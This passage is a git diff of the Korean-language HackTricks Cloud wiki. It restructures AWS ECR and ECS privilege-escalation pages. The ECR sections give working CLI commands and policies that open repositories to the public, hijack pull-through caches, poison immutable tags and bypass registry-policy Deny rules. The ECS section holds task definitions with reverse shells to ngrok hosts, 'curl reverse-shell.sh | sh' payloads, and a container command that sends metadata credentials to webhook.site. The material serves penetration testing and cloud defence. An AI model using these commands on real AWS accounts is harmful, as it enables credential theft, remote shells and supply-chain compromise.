ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다. - -### `ecr:SetRepositoryPolicy` - -이 권한을 가진 공격자는 **리포지토리** **정책**을 **변경**하여 자신(또는 모든 사람)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.\ -예를 들어, 이 예에서는 모든 사람에게 읽기 접근이 부여됩니다. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -`my-policy.json`의 내용: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다.\ -공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 허용하거나 자신의 권한을 상승시킬 수 있습니다. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**잠재적 영향**: ECR Public 저장소에 대한 무단 공개 접근으로 인해 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다. - -### `ecr:PutRegistryPolicy` - -이 권한을 가진 공격자는 **레지스트리 정책**을 변경하여 자신, 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..777211a7f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +공격자는 **`ecr:GetAuthorizationToken`** 및 **`ecr:BatchGetImage`** 권한이 있으면 ECR에 로그인하여 이미지를 다운로드할 수 있습니다. + +For more info on how to download images: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 Indirect privesc를 유발할 수 있습니다. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +해당 권한을 모두 가진 공격자는 **ECR에 로그인하여 이미지를 업로드할 수 있습니다**. 이는 해당 이미지가 사용되는 다른 환경으로의 escalate privileges에 유용할 수 있습니다. + +To learn how to upload a new image/update one, check: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +이전 섹션과 동일하나 공개 리포지토리용입니다. + +### `ecr:SetRepositoryPolicy` + +이 권한을 가진 공격자는 **저장소** **정책**을 **변경**하여 자신(또는 모든 사용자)에게 **읽기/쓰기 접근** 권한을 부여할 수 있습니다.\ +예를 들어, 이 예에서는 모든 사용자에게 읽기 접근이 부여되어 있습니다. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +다음은 `my-policy.json`의 내용: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +이전 섹션과 같지만 공개 리포지토리에 해당합니다.\ +공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 허용하거나 권한을 상승시킬 수 있습니다. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**잠재적 영향**: 승인되지 않은 공개 액세스로 ECR Public repository에 누구나 이미지를 push, pull 또는 delete할 수 있습니다. + +### `ecr:PutRegistryPolicy` + +이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신, 자신의 계정(또는 심지어 모든 사용자)에게 **읽기/쓰기 액세스**를 부여할 수 있습니다. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +ECR Pull Through Cache (PTC) 규칙을 악용하여 공격자가 제어하는 upstream 네임스페이스를 신뢰되는 private ECR 접두사에 매핑합니다. 이렇게 하면 private ECR에서 이미지를 pull 하는 워크로드가 private ECR로의 push 없이도 투명하게 공격자 이미지를 받게 됩니다. + +- 필요 권한: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public upstream을 사용하는 경우: public repo를 생성/푸시하려면 ecr-public:* 필요. +- 테스트된 upstream: public.ecr.aws + +단계 (예): + +1. ECR Public에 공격자 이미지 준비 +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. private ECR에서 신뢰되는 접두사를 public registry에 매핑하도록 PTC 규칙 생성 +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. 프라이빗 ECR 경로를 통해 공격자 이미지 pull(프라이빗 ECR로의 push 없음) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +잠재적 영향: 선택한 접두사 아래 내부 이미지 이름을 탈취하여 공급망을 침해할 수 있습니다. 해당 접두사를 사용해 private ECR에서 이미지를 pull하는 모든 워크로드는 공격자가 제어하는 콘텐츠를 받게 됩니다. + +### `ecr:PutImageTagMutability` + +이 권한을 악용해 태그 불변성이 설정된 리포지토리를 가변으로 바꿔서 신뢰된 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다. + +- 필요 권한: `ecr:PutImageTagMutability` 및 푸시 권한(`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- 영향: 태그 이름을 바꾸지 않고 불변 태그를 은밀히 교체하여 공급망을 침해할 수 있습니다. + +단계 (예): + +
+가변성 전환으로 불변 태그를 오염시키기 +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Global registry hijack via ROOT Pull-Through Cache rule + +특수한 `ecrRepositoryPrefix=ROOT`을 사용하여 Pull-Through Cache (PTC) 규칙을 생성하면 private ECR 레지스트리의 루트를 upstream public 레지스트리(예: ECR Public)에 매핑할 수 있습니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 upstream에서 투명하게 제공되며, private ECR에 이미지를 push하지 않고도 supply-chain hijacking을 가능하게 합니다. + +- 필요 권한: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- 영향: `.dkr.ecr..amazonaws.com/:`로의 pull이 성공하고 upstream에서 소스된 private 리포지토리가 자동으로 생성됩니다. + +> 참고: `ROOT` 규칙의 경우 `--upstream-repository-prefix`를 생략하세요. 제공하면 검증 오류가 발생합니다. + +
+데모 (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`를 다운그레이드하여 registry policy Deny 우회) + +`ecr:PutAccountSetting`를 사용해 registry policy scope를 `V2`(모든 ECR 작업에 적용되는 정책)에서 `V1`(오직 `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)로 전환할 수 있습니다. 제한적인 registry policy Deny가 `CreatePullThroughCacheRule` 같은 작업을 차단하는 경우, scope를 `V1`로 다운그레이드하면 해당 제약이 해제되어 identity-policy의 Allows가 적용됩니다. + +- 필요 권한: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- 영향: registry policy Deny로 이전에 차단되었던 ECR 작업(예: PTC 규칙 생성)을 일시적으로 scope를 `V1`로 설정해 수행할 수 있음. + +Steps (example): + +
+Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1 +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index 794c3e100..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,327 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -ECS에 대한 **추가 정보**는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -공격자는 ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하여 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 이를 **실행**할 수 있습니다. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -webhook.site 같은 사이트로 webhook을 생성하세요. -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Potential Impact:** 다른 ECS role로의 직접적인 privesc. - -### `iam:PassRole`,`ecs:RunTask` -`iam:PassRole`와 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값으로 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 제공하며, 이를 통해 task definition을 건드리지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다. - -`taskRoleArn` 및 `executionRoleArn`에 지정된 IAM role들은 트러스트 정책에서 `ecs-tasks.amazonaws.com`이 이를 assume할 수 있도록 trust/allow 되어 있어야 합니다. - -또한 공격자는 다음 정보를 알고 있어야 합니다: -- ECS cluster name -- VPC Subnet -- Security group (Security group이 지정되지 않으면 기본 보안 그룹이 사용됩니다) -- Task Definition Name and revision -- Name of the Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -위 코드 스니펫에서 공격자는 `taskRoleArn` 값만 덮어씁니다. 그러나 공격이 발생하려면 공격자는 명령에서 지정한 `taskRoleArn`과 태스크 정의에서 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다. - -공격자가 전달할 수 있는 IAM 역할이 ECR 이미지를 풀하고 ECS 태스크를 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면, 공격자는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM 역할을 지정할 수 있습니다. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**잠재적 영향:** 어떤 ECS task role에 대한 직접 privesc. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -이전 예와 마찬가지로, 공격자는 ECS에서 **`iam:PassRole`**, **`ecs:RegisterTaskDefinition`**, **`ecs:StartTask`** 권한을 악용하여 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 새로운 **task definition**을 생성하고 **실행**할 수 있습니다.\ -하지만 이 경우에는 악성 task definition을 실행할 container instance가 필요합니다. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**잠재적 영향:** Direct privesc to any ECS role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - -이전 예제와 마찬가지로, ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하는 공격자는 **새 task definition을 생성**하여 **악성 container**로 metadata credentials를 탈취하고 **최소 1개의 task가 실행되도록 새 service를 생성해 이를 실행할 수 있습니다.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**잠재적 영향:** 모든 ECS role에 대한 직접적인 privesc. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -사실, 이러한 권한만으로 overrides를 사용하여 임의의 role로 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**잠재적 영향:** 임의의 ECS role에 대한 직접 privesc. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -이 시나리오는 이전 경우들과 유사하지만 **`iam:PassRole`** 권한이 **없음**.\ -역할이 없더라도 임의의 컨테이너를 실행할 수 있다면, **권한이 높은 컨테이너를 실행해 노드로 탈출할 수 있으며** 노드에서 실행 중인 **EC2 IAM role** 및 **다른 ECS 컨테이너들의 roles**를 훔칠 수 있습니다.\ -심지어 손상시킨 **EC2 인스턴스** 내부에서 다른 태스크들이 실행되도록 강제해 그들의 자격증명을 훔칠 수도 있습니다(자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 참조). - -> [!WARNING] -> 이 공격은 **ECS cluster가 EC2를 사용하고 있는 경우에만** 가능하며 Fargate에서는 불가능합니다. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -권한 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`**를 가진 공격자는 실행 중인 컨테이너 내부에서 **명령을 실행**하고 그에 연결된 IAM 역할을 유출할 수 있습니다(`aws ecs execute-command`를 실행하려면 describe 권한이 필요합니다).\ -하지만 이를 위해서는 컨테이너 인스턴스에서 **ExecuteCommand agent**가 실행 중이어야 합니다(기본적으로는 실행되어 있지 않습니다). - -따라서 공격자는 다음을 시도할 수 있습니다: - -- **모든 실행 중인 컨테이너에서 명령 실행 시도** -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- 해당 사용자가 **`ecs:RunTask`** 권한을 가지고 있다면, `aws ecs run-task --enable-execute-command [...]`로 작업을 실행하세요. -- 해당 사용자가 **`ecs:StartTask`** 권한을 가지고 있다면, `aws ecs start-task --enable-execute-command [...]`로 작업을 실행하세요. -- 해당 사용자가 **`ecs:CreateService`** 권한을 가지고 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요. -- 해당 사용자가 **`ecs:UpdateService`** 권한을 가지고 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요. - -이 옵션들의 예시는 **이전 ECS privesc 섹션들**에서 확인할 수 있습니다. - -**Potential Impact:** 컨테이너에 연결된 다른 역할로의 Privesc. - -### `ssm:StartSession` - -**ssm privesc 페이지**에서 이 권한을 어떻게 악용해 **ECS로 privesc**할 수 있는지 확인하세요: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -**ec2 privesc 페이지**에서 이러한 권한들을 어떻게 악용해 **ECS로 privesc**할 수 있는지 확인하세요: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 해당 인스턴스에서 작업을 실행할 수 있습니다. 이는 공격자가 ECS 작업의 컨텍스트 내에서 임의의 코드를 실행할 수 있게 할 수 있습니다. - -- TODO: 다른 AWS 계정의 인스턴스를 등록하여 작업이 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: 테스트 필요 - -`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` 권한을 가진 공격자는 **기존 ECS 서비스에 대해 악의적인 task set을 생성하고 primary task set을 업데이트할 수 있습니다**. 이를 통해 공격자는 **서비스 내에서 임의의 코드를 실행할 수 있습니다**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스의 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다. - -## 참조 - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..968618e2b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,553 @@ +# AWS - ECS Privesc + 